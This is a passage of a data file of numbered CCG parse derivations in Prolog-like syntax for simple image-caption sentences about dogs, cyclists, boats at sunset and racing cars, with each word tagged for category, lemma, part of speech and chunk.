t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'head', 'head', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(624,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cyclist', 'cyclist', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'held', 'hold', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'heads', 'head', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(625,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boat', 'boat', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'font', 'font', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flag', 'flag', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(626,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boat', 'boat', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flag', 'flag', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(627,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boat', 'boat', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flag', 'flag', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(628,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boat', 'boat', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(629,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
t(n, 'People', 'people', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'drag', 'drag', 'NN', 'I-NP', 'O'),
t(n, 'race', 'race', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'away', 'away', 'RB', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'from', 'from', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'flames', 'flame', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'coming', 'come', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/pp, 'out', 'out', 'IN', 'I-PP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cars', 'car', 'NNS', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(630,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'crowd', 'crowd', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'racing', 'racing', 'NN', 'I-NP', 'O'),
t(n, 'cars', 'car', 'NNS', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'leaving', 'leave', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'starting', 'start', 'VBG', 'I-NP', 'O'),
t(n, 'line', 'line', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(631,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'together', 'together', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(632,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'resting', 'rest', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'together', 'together', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(633,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'black', 'black', 'JJ', 'I-ADJP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(634,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(635,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'tongue', 'tongue', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'hanging', 'hang', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(636,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(637,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
fa(n/n,
t((n/n)/(n/n), 'very', 'very', 'RB', 'I-NP', 'O'),
t(n/n, 'sunny', 'sunny', 'JJ', 'I-NP', 'O')),
t(n, 'day', 'day', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(638,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sunny', 'sunny', 'JJ', 'I-NP', 'O'),
t(n, 'day', 'day', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(639,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np:nb,
lx(np, n,
t(n, 'jeans', 'jeans', 'NNS', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(640,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'under', 'under', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'desert', 'desert', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(641,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'Christmas', 'Christmas', 'NNP', 'I-NP', 'I-DAT'),
fa(n,
t(n/n, 'reindeer', 'reindeer', 'NN', 'I-NP', 'O'),
t(n, 'headband', 'headband', 'NN', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(642,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'reindeer', 'reindeer', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dog', 'dog', 'NN', 'I-NP', 'O'),
t(n, 'ears', 'ear', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'reindeer', 'reindeer', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(643,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'costume', 'costume', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'leaning', 'lean', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'against', 'against', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brick', 'brick', 'NN', 'I-NP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O'))))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'instrument', 'instrument', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(644,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'costume', 'costume', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'leaning', 'lean', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'against', 'against', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brick', 'brick', 'NN', 'I-NP', 'O'),
t(n, 'wall', 'wall', 'NN', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'instrument', 'instrument', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(645,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'waterfall', 'waterfall', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'flowing', 'flow', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'shallow', 'shallow', 'JJ', 'I-NP', 'O'),
